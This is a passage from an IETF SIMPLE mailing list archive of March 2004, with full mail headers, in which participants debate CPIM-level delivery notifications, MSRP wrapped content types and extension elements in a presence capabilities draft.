Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA02616
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 03:46:50 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axj4b-0007Qe-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 03:46:49 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axj3U-0007JB-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 03:45:41 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axj2v-0007Di-00; Mon, 01 Mar 2004 03:45:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axj2r-0001ja-3j; Mon, 01 Mar 2004 03:45:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axj2K-0001i8-T7
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 03:44:28 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA02542
	for <simple@ietf.org>; Mon, 1 Mar 2004 03:44:27 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axj2I-0007AI-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:44:26 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axj1K-00075A-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:43:27 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axj0M-0006zc-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:42:26 -0500
Received: from esdks003.ntc.nokia.com (esdks003.ntc.nokia.com [172.21.138.158])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i218gK001439;
	Mon, 1 Mar 2004 10:42:20 +0200 (EET)
X-Scanned: Mon, 1 Mar 2004 10:42:08 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks003.ntc.nokia.com (8.12.9/8.12.9) id i218g8hr031138;
	Mon, 1 Mar 2004 10:42:08 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks003.ntc.nokia.com 00u7lOrN; Mon, 01 Mar 2004 10:42:07 EET
Received: from esebh002.NOE.Nokia.com (esebh002.ntc.nokia.com [172.21.138.77])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i218g7O09660;
	Mon, 1 Mar 2004 10:42:07 +0200 (EET)
Received: from nokia.com ([10.162.252.221]) by esebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Mon, 1 Mar 2004 10:41:57 +0200
Message-ID: <4042F755.3010202@nokia.com>
From: "Niemi Aki (Nokia-M/Espoo)" <aki.niemi@nokia.com>
User-Agent: Mozilla Thunderbird 0.5 (X11/20040208)
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: ext Paul Kyzivat <pkyzivat@cisco.com>
CC: Eric Burger <eburger@snowshore.com>, simple@ietf.org
Subject: Re: [Simple] RE: Advanced IM requirements
References: <4A3384433CE2AB46A63468CB207E209DB1A213@zoe.office.snowshore.com> <4042DBCA.9050007@cisco.com>
In-Reply-To: <4042DBCA.9050007@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-OriginalArrivalTime: 01 Mar 2004 08:41:57.0362 (UTC) FILETIME=[0E553520:01C3FF69]
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 10:41:57 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit



ext Paul Kyzivat wrote:
> 
> 
> Eric Burger wrote:
> 
>> I agree.  Again, this highlights why IMDN is at the CPIM, and not SIP, 
>> level.
>>
>> Further, what is the use case for MDN in session mode?  Would anyone 
>> EVER use it?  I doubt it: if you are in a session, presumably you are 
>> interactive, which means you have OOB methods for knowing the message 
>> wasn't read (e.g., no response from the other person).
> 
> 
> I agree it doesn't seem like something that normally would be used. But 
> there may be some cases. I may want explicit confirmation that a 
> particular message has not only been delivered, but read. (This might 
> require the UAS to demand some explicit confirmation from the end user 
> before sending the confirmation.)

I agree this is possible, not sure it's that useful though. I don't 
think there is really a need for any protocol machinery here, but it is 
best handled in the traditional way, similarly to a voice call:

-"Did you understand what I just wrote?"

> Another case is with an IM conference. If I send a message to the mixer, 
> requesting confirmation, ideally that would be an end-to-all-ends 
> confirmation. The mixer would have to request and receive confirmation 
> from all recipients before confirming to sender.
> 
>> Given that assertion, can we say IMDN's are page mode messages.
> 
> 
> Based on above, I say NO.

I'd say yes, but that doesn't mean CPIM level reports should not be 
defined. There is still the case of these notifications needing to 
traverse CPIM gateways. I think that is still the most valid use case 
speaking in favor of CPIM-level read reports.

Cheers,
Aki

> 
>     Paul
> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Mon Mar  1 03:47:24 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA02661
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 03:47:24 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axj4g-0001xv-DU
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 03:46:54 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i218ksHf007549
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 03:46:54 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axj4g-0001xg-9k
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 03:46:54 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA02633
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 03:46:52 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axj4d-0007Qx-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 03:46:51 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axj3W-0007JV-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 03:45:43 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axj2v-0007Dk-00; Mon, 01 Mar 2004 03:45:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axj2s-0001jo-Np; Mon, 01 Mar 2004 03:45:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axj2M-0001iD-6C
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 03:44:30 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA02545
	for <simple@ietf.org>; Mon, 1 Mar 2004 03:44:28 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axj2J-0007AT-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:44:27 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axj1O-00075t-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:43:31 -0500
Received: from sj-iport-2-in.cisco.com ([171.71.176.71] helo=sj-iport-2.cisco.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axj0S-0006x5-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:42:32 -0500
Received: from sj-core-1.cisco.com (171.71.177.237)
  by sj-iport-2.cisco.com with ESMTP; 01 Mar 2004 00:53:16 +0000
Received: from flask.cisco.com (IDENT:mirapoint@flask.cisco.com [161.44.122.62])
	by sj-core-1.cisco.com (8.12.10/8.12.6) with ESMTP id i218g01m022644;
	Mon, 1 Mar 2004 00:42:01 -0800 (PST)
Received: from cisco.com (sin-vpn-client-20-17.cisco.com [10.68.20.17])
	by flask.cisco.com (Mirapoint Messaging Server MOS 3.3.6-GR)
	with ESMTP id AGK35520;
	Mon, 1 Mar 2004 03:41:56 -0500 (EST)
Message-ID: <4042F753.30300@cisco.com>
From: Paul Kyzivat <pkyzivat@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.1) Gecko/20020826
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: hisham.khartabil@nokia.com
CC: bcampbell@dynamicsoft.com, simple@ietf.org
Subject: Re: [Simple] MSRP: Wrapped types
References: <2038BCC78B1AD641891A0D1AE133DBB7017977FD@esebe019.ntc.nokia.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 01 Mar 2004 03:41:55 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

If we are to do more than leave as is, then I think we need to revisit 
requirements. I have the impression that the people raising issues may 
have different notions of what the requirements are.

For instance, if there is a requirement to have messages wrapped in 
cpim, and then the cpim wrapper must be signed, and using just signed, 
or just cpim isn't ok, then we can't meet the requirement.

	Paul

hisham.khartabil@nokia.com wrote:
> My vote is to leave it as is. This is a solution that we were comfortable with after a long debate. The new proposals add no benefit.
> 
> /Hisham
> 
> 
>>-----Original Message-----
>>From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
>>ext Ben Campbell
>>Sent: 27.February.2004 22:53
>>To: simple@ietf.org
>>Subject: [Simple] MSRP: Wrapped types
>>
>>
>>Another issue came up during the discussions several of us 
>>had a SIPIT. 
>>I am separating this out from the MSRP/SIMS harmonization 
>>email, as it 
>>is orthagonal to that.
>>
>>Several people commented that the existing "accept-types" and 
>>"accept-wrapped-types" were overly confusing and error prone. 
>>To recap, 
>>the point of this mechanism is to allow an MSRP device to accept a 
>>number of formats, but require them to be wrapped in an 
>>envelope of some 
>>sort. The motivation behind this is that a CPIM gateway may allow any 
>>number of content-types, but insist that everything be wrapped in a 
>>message/cpim envelope.
>>
>>The existing mechanism says that any format listed in 
>>"accept-types" can 
>>occur anywhere in a body, including at the root. Formats listed in 
>>"accept-wrapped-types" cannot occur at the root; that is, 
>>they must be 
>>wrapped inside of some format listed in "accept-types". This 
>>solves the 
>>problem, but it is pretty complicated and difficult to understand.
>>
>>Two possible alternatives were offered:
>>
>>1) Get rid of the "accept-wrapped-types" attribute, and 
>>instead add an 
>>attribute that means "I require CPIM". This would mean that 
>>all content 
>>must be wrapped in message/cpim envelopes.
>>
>>2) Generalize option 1 a little bit by adding an "envelope" 
>>attribute. 
>>This attribute would contain a single format entry. All 
>>content must be 
>>wrapped in that format.
>>
>>And of course, there is an implied item 3: Leave it as is.
>>
>>Thoughts?
>>
>>Thanks!
>>
>>Ben.
>>
>>_______________________________________________
>>Simple mailing list
>>Simple@ietf.org
>>https://www1.ietf.org/mailman/listinfo/simple
>>
> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
> 


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar  1 03:50:45 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA02980
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 03:50:45 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axj8O-00009c-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 03:50:44 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axj7V-00001i-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 03:49:49 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axj6k-0007iY-00; Mon, 01 Mar 2004 03:49:02 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axj6k-0002D1-MH; Mon, 01 Mar 2004 03:49:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axj6K-0002BQ-CB
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 03:48:36 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA02788
	for <simple@ietf.org>; Mon, 1 Mar 2004 03:48:34 -0500 (EST)
From: mikko.lonnfors@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axj6H-0007fO-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:48:33 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axj5X-0007Zl-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:47:48 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axj4n-0007SR-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:47:01 -0500
Received: from esdks003.ntc.nokia.com (esdks003.ntc.nokia.com [172.21.138.158])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i218kt007412;
	Mon, 1 Mar 2004 10:46:55 +0200 (EET)
X-Scanned: Mon, 1 Mar 2004 10:46:47 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks003.ntc.nokia.com (8.12.9/8.12.9) id i218klU0004752;
	Mon, 1 Mar 2004 10:46:47 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks003.ntc.nokia.com 00QMTzk5; Mon, 01 Mar 2004 10:46:45 EET
Received: from esebh004.NOE.Nokia.com (esebh004.ntc.nokia.com [172.21.138.84])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i218keO11042;
	Mon, 1 Mar 2004 10:46:40 +0200 (EET)
Received: from esebe004.NOE.Nokia.com ([172.21.138.44]) by esebh004.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Mon, 1 Mar 2004 10:46:39 +0200
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] comments on prescaps - extension elements
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
Message-ID: <0C1353ABB1DEB74DB067ADFF749C4EEF01D172BC@esebe004.ntc.nokia.com>
Thread-Topic: [Simple] comments on prescaps - extension elements
thread-index: AcP/Zv0AdOn/14iRRTyRkVwFThSdcwAAJ4Ew
To: <pkyzivat@cisco.com>, <jdrosen@dynamicsoft.com>
Cc: <simple@ietf.org>
X-OriginalArrivalTime: 01 Mar 2004 08:46:39.0627 (UTC) FILETIME=[B6936DB0:01C3FF69]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 1 Mar 2004 10:46:39 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable

Hi,

>=20
> >=20
> > I know I spoke in favor of this approach in the past, but I never
> > guarantee the self consistency of my argumetns over time, and I now=20
> > think that this is not a good idea.
> >=20
> > The reasons are:
> >=20
> >   1. XML has a mechanism for extensibility; this defines a=20
> separate one
> >   2. an element could appear as an extension as you have=20
> defined it,=20
> > or,
> > if later we do define a matching set of real XML extensions=20
> to carry it,=20
> > it could appear there. You dont want to have two valid ways=20
> of carrying=20
> > the data
> >   3. there is an argument to be made that the PA should not=20
> generally be=20
> > conveying infomraiton it doesnt understand, and that is the=20
> case here
> >=20
> > As such, I would recommend dropping this entire section.
>=20
> I disagree!
>=20
> The extension mechanism in callee-caps has means that don't=20
> require any=20
> registration at all. This is very good for cases when there=20
> are features=20
> that are very transient. For instance, it is possible to define a=20
> feature tag for something like frobitz-sales, or widget-help.=20
> And then I=20
> can use callerprefs to select an endpoint with the appropriate=20
> capability. This allows end users to take advantage of=20
> callerprefs for=20
> features that matter to them. (Assuming sufficiently smart devices.)
>=20
> When using presence, I would like the same to hold true. If it is=20
> necessary to define a new xml schema before I can announce a=20
> capability=20
> for widget-help in my presence then nothing this dynamic can=20
> be a feature.

This is definitely a use case where mandating a new XML schema may not
work. I originally thought that making new XML schema would not be that
big deal but if you want this kind of automation then making new XML
schema on the fly may not be possible.=20
Only doubt that I have is that can the end point which receives this
information really use it? If this info in generated on the fly then how
the receiving end really knows to look for this?
=20
> If there is a problem, it is that the draft forbids use of=20
> the extension=20
> mechanism when there is specific schema for the same purpose.

Well, I think this restriction is quite useful. I think there should be
a rule that _same_ data cannot be placed into two different places. If
this happens it may be very confusing for applications processing this
information to decide what to do.=20
My intension with the restriction you refer to was to forbid use of
extension tags to represent standard tags defined in callee caps.=20

-Mikko

> 	Paul
>=20
>=20
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar  1 03:51:16 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA03055
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 03:51:16 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axj8R-0002ZK-Tq
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 03:50:47 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i218olUD009867
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 03:50:47 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axj8R-0002Z4-A1
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 03:50:47 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA02998
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 03:50:45 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axj8O-00009h-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 03:50:44 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axj7W-00001q-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 03:49:50 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axj6k-0007iY-00; Mon, 01 Mar 2004 03:49:02 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axj6k-0002D1-MH; Mon, 01 Mar 2004 03:49:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axj6K-0002BQ-CB
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 03:48:36 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA02788
	for <simple@ietf.org>; Mon, 1 Mar 2004 03:48:34 -0500 (EST)
From: mikko.lonnfors@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axj6H-0007fO-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:48:33 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axj5X-0007Zl-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:47:48 -0500
Received: from mgw-x4.nokia.com ([131.228.20.27])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axj4n-0007SR-00
	for simple@ietf.org; Mon, 01 Mar 2004 03:47:01 -0500
Received: from esdks003.ntc.nokia.com (esdks003.ntc.nokia.com [172.21.138.158])
	by mgw-x4.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i218kt007412;
	Mon, 1 Mar 2004 10:46:55 +0200 (EET)
X-Scanned: Mon, 1 Mar 2004 10:46:47 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks003.ntc.nokia.com (8.12.9/8.12.9) id i218klU0004752;
	Mon, 1 Mar 2004 10:46:47 +0200
Received: from mgw-int2.ntc.nokia.com (172.21.143.97)
	by esdks003.ntc.nokia.com 00QMTzk5; Mon, 01 Mar 2004 10:46:45 EET
Received: from esebh004.NOE.Nokia.com (esebh004.ntc.nokia.com [172.21.138.84])
	by mgw-int2.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i218keO11042;
	Mon, 1 Mar 2004 10:46:40 +0200 (EET)
Received: from esebe004.NOE.Nokia.com ([172.21.138.44]) by esebh004.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Mon, 1 Mar 2004 10:46:39 +0200
Content-Class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] comments on prescaps - extension elements
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
Message-ID: <0C1353ABB1DEB74DB067ADFF749C4EEF01D172BC@esebe004.ntc.nokia.com>
Thread-Topic: [Simple] comments on prescaps - extension elements
thread-index: AcP/Zv0AdOn/14iRRTyRkVwFThSdcwAAJ4Ew
To: <pkyzivat@cisco.com>, <jdrosen@dynamicsoft.com>
Cc: <simple@ietf.org>
X-OriginalArrivalTime: 01 Mar 2004 08:46:39.0627 (UTC) FILETIME=[B6936DB0:01C3FF69]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 1 Mar 2004 10:46:39 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

Hi,

>=20
> >=20
> > I know I spoke in favor of this approach in the past, but I never
> > guarantee the self consistency of my argumetns over time, and I now=20
> > think that this is not a good idea.
> >=20
> > The reasons are:
> >=20
> >   1. XML has a mechanism for extensibility; this defines a=20
> separate one
> >   2. an element could appear as an extension as you have=20
> defined it,=20
> > or,
> > if later we do define a matching set of real XML extensions=20
> to carry it,=20
> > it could appear there. You dont want to have two valid ways=20
> of carrying=20
> > the data
> >   3. there is an argument to be made that the PA should not=20
> generally be=20
> > conveying infomraiton it doesnt understand, and that is the=20
> case here
> >=20
> > As such, I would recommend dropping this entire section.
>=20
> I disagree!
>=20
> The extension mechanism in callee-caps has means that don't=20
> require any=20
> registration at all. This is very good for cases when there=20
> are features=20
> that are very transient. For instance, it is possible to define a=20
> feature tag for something like frobitz-sales, or widget-help.=20
> And then I=20
> can use callerprefs to select an endpoint with the appropriate=20
> capability. This allows end users to take advantage of=20
> callerprefs for=20
> features that matter to them. (Assuming sufficiently smart devices.)
>=20
> When using presence, I would like the same to hold true. If it is=20
> necessary to define a new xml schema before I can announce a=20
> capability=20
> for widget-help in my presence then nothing this dynamic can=20
> be a feature.

This is definitely a use case where mandating a new XML schema may not
work. I originally thought that making new XML schema would not be that
big deal but if you want this kind of automation then making new XML
schema on the fly may not be possible.=20
Only doubt that I have is that can the end point which receives this
information really use it? If this info in generated on the fly then how
the receiving end really knows to look for this?
=20
> If there is a problem, it is that the draft forbids use of=20
> the extension=20
> mechanism when there is specific schema for the same purpose.

Well, I think this restriction is quite useful. I think there should be
a rule that _same_ data cannot be placed into two different places. If
this happens it may be very confusing for applications processing this
information to decide what to do.=20
My intension with the restriction you refer to was to forbid use of
extension tags to represent standard tags defined in callee caps.=20

-Mikko

> 	Paul
>=20
>=20
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar  1 04:25:29 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA04676
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 04:25:29 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axjg0-0003a8-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 04:25:28 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axjf8-0003Vy-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 04:24:35 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axjec-0003Rb-00; Mon, 01 Mar 2004 04:24:02 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axjeb-0005BO-0W; Mon, 01 Mar 2004 04:24:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axje9-0005AJ-Jk
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 04:23:33 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
